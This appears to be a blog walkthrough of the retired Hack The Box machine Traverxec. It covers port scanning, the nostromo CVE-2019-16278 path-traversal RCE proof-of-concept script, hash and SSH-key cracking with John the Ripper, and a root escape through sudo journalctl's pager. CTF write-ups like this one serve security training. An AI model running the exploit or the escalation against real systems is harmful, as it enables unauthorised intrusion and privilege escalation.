This post documents the complete walkthrough of Traverxec, a retired vulnerable VM created by jkr, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Traverxec is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun1 -p1-65535,U:1-65535 10.10.10.165 --rate=700

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-11-18 02:50:35 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.165
Discovered open port 80/tcp on 10.10.10.165

Looks pretty normal to me. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt 10.10.10.165
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    syn-ack ttl 63 nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC

Hmm. I wonder what’s nostromo? Anyway, this is what the site looks like.

Nice and clean template :+1:

CVE-2019-16278 - nhttpd <= 1.9.6 Remote Code Execution

According to CVE-2019-16278, there’s a directory traversal vulnerability in nostromo nhttpd through 1.9.6 leading to remote code execution. The discoverer (sp0re) was kind to leave a proof-of-concept bash script to test the vulnerability.

test.sh
#!/bin/bash

HOST=$1
PORT=$2
shift 2

( \
  echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
  echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
  echo "[email protected] 2>&1" \
) | nc "$HOST" "$PORT" \
  | sed --quiet -e ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'

Let’s give it a shot!

Perfect.

Low-Privilege Shell

Lucky for us, there’s a copy of nc in /usr/bin/nc that supports command execution.

With that, we can get our shell with ease.

John the Ripper

It wasn’t long before I found the configuration directory for nostromo at /var/nostromo/conf. I found the .htpasswd in that directory.

Sending the hash to JtR gave the following.

Well, the excitement sure is short-lived because it’s not the password for david’s account. We’ll just have to keep this in mind the next time we encounter something that requires a password.

Protected File Area

In the same directory, we can peek into nostromo’s nhttpd configuration.

$ cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             [email protected]
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

Notice that there’s supposed to be a public_www directory in /home/david? (This sure is old school) Combined that with the permission of david’s home directory I suspect something is up.

Check this out.

In summary, as long as you know the absolute path to a file and you have read permissions, you can download a file to your attacking machine for further analysis.

Well well well, what have we here? Looks like we have david’s SSH keys!

John the Ripper Redux

It should come as no surprise that david’s private key is password-protected.

Well, this is something that John the Ripper is good at.

The password is hunter.

Getting user.txt

Armed with david’s private key, we can SSH in and retrieve user.txt.

Privilege Escalation

During enumeration of david’s account, I notice something odd. First of all, the PATH is set to the following.

And in /home/david/bin, there’s a bash script.

server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Upon seeing the script, I knew a classic shell-escape was imminent. Notice that david is able to sudo journalctl as root without password?

Classic Shell Escape

What’s this class shell-escape I’m talking about? Well, since we can sudo journalctl displaying the most recent five lines, we can open up a terminal with less than five lines, forcing PAGER to take effect. In most distributions, PAGER is usually set to less, which we can then escape to shell.

Here’s xterm running with four lines.

See what happens when sudo journalctl is run.

Only the first three lines are displayed and less is executed as root. Escape to shell with !sh.

Boom!

Getting root.txt

Getting root.txt with a root shell is trivial.

:dancer: